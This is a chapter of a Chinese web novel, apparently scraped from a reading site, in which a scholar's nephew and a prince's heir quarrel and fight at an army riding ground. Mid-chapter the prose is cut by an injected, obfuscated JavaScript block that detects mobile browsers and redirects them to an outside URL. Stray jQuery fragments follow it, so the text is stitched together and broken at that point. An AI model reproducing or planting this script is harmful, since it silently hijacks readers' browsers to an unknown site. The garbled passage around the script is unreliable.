看着恒王世子骑着那匹跑起来乱七八糟的小马绕场三周后,顾谨安整个人都凌乱风中了。
就这?比他高那么一点点还顺拐的马,怎么就能被称为良驹呢?
策马一番展现英姿的世子久久没有受到吹捧,皱着眉头回首一看,小孩震惊得嘴巴都快合不上了。
嘿嘿,还得是我。
得意的用拇指抹了一下鼻尖,骄傲扬起脑袋的他觉得阳光有些刺眼,又垂下了头,正好看见顾谨安眼中闪过的一言难尽之色。
“你这是什么表情?”
“……世子厉害的表情。”
干巴巴的夸奖听起来一点都不诚心,恒王世子忍不住又大大的“啧”了一声。
“你是不是看不起我的追风?”
小矮马起这么高端的名字?
心里吐槽着,话出口却又是另一番意思。
“没有没有,世子的马奋鬣扬蹄,逸足奔放,这样的绝世好马天下无双,小的怎么敢看不起呢。”
“哈哈哈,说得好,你小子是识货的,来,本世子带你跑上一圈!”
恒王世子显然很喜欢听到这样的吹捧,瞬间连顾谨安刚刚不诚心的模样都忘了,兴奋的提起缰绳就往他所在的方向冲了过来。
如果他能听到别人的心声,此刻就一定能听到顾谨安发自内心的呼喊。
你不要过来啊!
可惜他听不到,侧身一拉一提之间,顾谨安整个都到了他的马背上,慌得后者紧紧拽住他的衣服就怕摔下去。
苍天啊,这是他前世今生第一次骑马背上,谁能来告诉他这样小小的一匹马,怎么快把他的心都颠出来了了。
如果时光能倒回,他一定向恒王世子道歉,是他有眼不识泰山了,这身手这英姿,确实很对得起那双格格不入的粗糙手。
带着新来的小跟班策马狂奔了两周,被其扯住衣襟勒得快断气恒王世子终于忍无可忍了,让顾谨安怎么上来的又怎么下去了。
从小到大跟在他周边的人很多,就从未遇到过这样骑个马就险些要把他勒死的,要不是他先生的侄子,都要怀疑是被他爹哪个儿子收买了来取他性命的人。
这小子不好玩,是他高看他的胆子了,骑马都怕的人,到底怎么有胆子去经商的?白瞎了他一腔的期待,不过他父王都让不提此事了,他给先生面子也就不提了。
下定决心的恒王世子策马欲走,但看到对方落地后迅速远离并蹲下咳吐不出的样子,他又短暂的反省了一下自己,还是觉得是顾谨安的身体不行,从小到大他就没见过谁骑马骑吐的,他那些伙伴跟班们都可喜欢骑马了。
于是他便没有这样一走了之,而是缓缓策马来到顾谨安的身旁,居高临下的问道:“喂!还好吧?”
真出了问题他顾先生得哭死,他爹也要收拾他。
“我不叫喂……”颠得五脏六腑都翻江倒海的顾谨安此刻也没有了与他虚与委蛇的心思,其实若不是对他的身份还有最后的一丝顾忌,他都不想回答的。
什么毛病,世子就能随随便便拉人上马吗?
“那你叫什么?”
见他脸色苍白一副随时都要去了的模样,觉察到自己确实冒失的恒王世子难得忍住了性子。
“……顾谨安。”
真的不想理,但架不住人身份高,又干呕了几声的顾谨安微微闭眼,他到底不是威武不能屈的性格。
也难怪他老师才教了他一个多月,就开始担心他为官的操守了,每天一个警示恒言的敲打提点就怕他把路走偏了。
本以为回答了对方就会走,没想到沉默片刻之后,迎来一句恍然大悟。
“对哦,你是顾先生的侄子,言字辈的,我居然小了你一辈。”他是承字辈的,与顾谨安同属言字辈的是他父亲。
是的,死小子你终于意识到我是你长辈了。
若不是身体实在缓不过来,他高低要好好欣赏一下对方此刻的神态。
“你这名字和人一样没趣儿,又谨又安的,怎么不干脆叫胆小怕事呢。”
他桌子呢!
等了许久是一句对自己名字的吐槽,顾谨安仅剩的理智被怒火点燃了,也就是这跑马场没有桌子了,不然这小世子就能有幸观赏一次他的掀桌表演。
“说得好像你的名字很好一样。”
世子又怎么样?有种灭我九族啊!那连你自己都要灭掉。
“我的名字当然好了,昂意高贵,和它相关的,就没有一个不好的词,如气宇轩昂、意气激昂、昂霄耸壑……”
“还有昂昂不动,你顾承昂的昂,出自这里倒很适配。”
冷语打断顾承昂成语接龙的是终于缓过劲来的顾谨安,重新站直身体立于马下的他,居然在一瞬间让世子幻视了自己父王的样子。
摇摇头将这个荒谬的想法驱之脑外,他父亲昂藏七尺,怎么会和这个豆丁相似。
不过除了他父王,好像也再没人说过他目中无人之语了。
太嚣张了,这小子!
莫说长了一辈,就是长了两辈的顾良廷还有一个先生的身份都不敢这样和他说话,难不成一家的胆都长到了他的身上。
“你!”
抬鞭怒指有意要骂他一顿,却发现对方眸子冷冷的压根没有害怕的心思,顿时又泄了气,不上不下的卡得他心烦,只得愤愤用鞭子狠抽了两下地面,尘土飞溅中险些还惊了马。
偏偏顾谨安怼完之后理都不理他,只随意找了位置站着不知在想什么。
这样别别扭扭的氛围过了不到一刻钟,顾承昂就受不了,又骑马小跑着靠近了他,然后顾谨安又默默的挪了个位置。
两人这样你来我挪了半天,从没受过这样冷待的顾承昂翻身下马,扔了鞭子就揪住顾谨安的领子,让他不能像个小老鼠一样跑来跑去。
“喂——”
强行掰过脑袋和自己对视,却见他干净利落的闭了眼睛拒绝交流,直接给他气笑了。
个子不大脾气还不小,又腾出只手来撑开他的眼睛。
不出意外,目光对视间两人扭打成了一团。
等谈完事情的顾良廷和顾良远两兄弟寻来时,两人正被看到动静前来制止的士卒强行分开。
只不过相较于对顾承昂的轻重不得,被提着撕拉开的顾谨安就要狼狈多了,慌得顾良远也顾不上什么军营不军营世子不世子的跑上前来一把救下儿子,而后者正看着顾承昂脸上淡淡的黑眼圈骄傲呢。
以小打大还给对方留了个印子,他这架打得不亏。
“放开我!”觉察到他得意的顾承昂也怒了,打起来是一时冲动,但他不好以大欺小的忍让却被对方得寸进尺,长这么大就没受过这样的委屈。
“世子,不知小儿如何得罪了您,竟下如此狠手!”
抱着儿子检查一番发现他嘴角被打破的顾良远还未来得及问清前因后果,就见顾承昂挣脱士卒的束缚又扑了上来,当即也来了气,一边将儿子拉到身后,一边伸手去挡他,然后在一众人的惊呼声中直接被扑倒了,最后面的顾谨安手脚并用的爬出一段距离,才免于被两人直接倾轧的下场。
“世子!”
这下愤怒出声的是顾良廷,不过在喊停了顾承昂之后他也没有厚此薄彼,直接上去就给了顾良远一脚,至于顾谨安,他看了一眼就移开了眼神,倒让做好挨打准备的他一阵愕然。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594061|169608||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“世子尊贵之躯,也是你这草芥之人可以随意冒犯的。”
好吧,骂的虽是顾良远,但话里话外挤兑的还是他,顾先生对他的疼,遇到亲侄子就全没了。
这一点让顾承昂很是悲愤,要不是实在抹不下面子,他都想指着自己尚存痛楚的眼周喝问有没有能替他发声的。
可惜那印子实在太淡了,除了顾谨安欣赏自己的杰作之外,其他人都看不出个所以然来。
相较于嘴角破皮的顾谨安而言,只是衣服脏了点的顾承昂根本毫无损伤,何况他不止年纪大还精通拳脚,是刚从前线立功下来的,没有人相信他会在顾谨安的手下吃亏。
而且就他平日里的性格,怎么看都应该是他先挑事的。
有苦说不出的顾承昂第一次感受到了人心中的成见。
“你给我等着!”
愤然丢下此话的顾承昂头也不回的离去,将原本要从顾谨安探听更多消息的打算完全抛之脑后。
“世子,世子——”喊了两声没有回答的顾良廷赶忙示意郝执跟了上去,又吩咐士卒将他的小马安置好,这才腾出空来料理弟侄二人。
“说说吧,怎么回事儿?”
顾承昂虽然经常胡闹,但很少这么没有分寸的,两人能这么不顾场合的扭打在一起,绝对不会是一人之过,刚刚他也是着急了点,才没有想到这么深的层面。
他这侄子看着乖巧,可从来不是坐以待毙的人,也就他那没长脑子的弟弟被吃得死死的。
“安哥儿都成这样了,你怎么还逼问他,还好我没答应给世子教画的事情,不然孩子指不定要受什么欺负呢。”
顾良远此刻满心满眼都是自家儿子破了的嘴角,不知道回去该怎么和娘子交代的他听到顾良廷的逼问,气得头发都要竖起来了。
恒王居然安排他爹给世子教画,起因是一副劁猪图解,怎么想的?
闻言的顾谨安先是一愣,随即大吃一惊。
“住口,殿下是爱惜人才才特意给你安排了这个差事,你不知感恩就算了,怎么还大放厥词!”
“我——”一下子被“大放厥词”四字挑起久远回忆的顾良远正待反唇相讥,就又被担心他再说出大逆不道之言的顾良廷矢口打断了。
“住口!安哥儿你说!”
此等境况下顾谨安自然也不敢满嘴跑火车,而且也没有什么不能说的,本就是顾承昂不对在前,先是不打招呼就提他上马,后面又嘲讽爹娘给他起的名字,最后更是先出手勒住他的脖子,他要再不反击,不成王八转世了。
“……”
听完他的讲述,兄弟俩面面相觑也不知道该说什么,虽然是顾承昂有错在先,但和他们想象的完全大相庭径,还有他们家安哥儿的气劲儿未免也太大了吧。
这下不仅顾良远,就连顾良廷也不执着让他弟当世子绘画先生的事情了,辜负王爷的好意虽不好,但也强过两个活祖宗天天死瞪着。
反正弟侄二人已在王爷心中留名,又有他近水楼台,往后再寻个其他差事也好。
以他弟弟的性格来教导世子,他乍闻时也是有些头疼的。
“罢了,你们先回去吧,世子那里由我去说。”
挥挥手,原打算亲送他们到门口的顾良廷被弟弟劝阻,实在放心不下顾承昂的他只得安排士卒送父子二人离去。
马车摇摇晃晃的驶出大营,不知从哪里摸出来的顾承昂意味不明的目送着它离去。
虽然顾先生替他不省心的侄子道了歉,但他和那小子的梁子算是结下了。
等父王班师回来,他非给他弄来做伴读不可。
到时候就知道他小王爷的厉害了。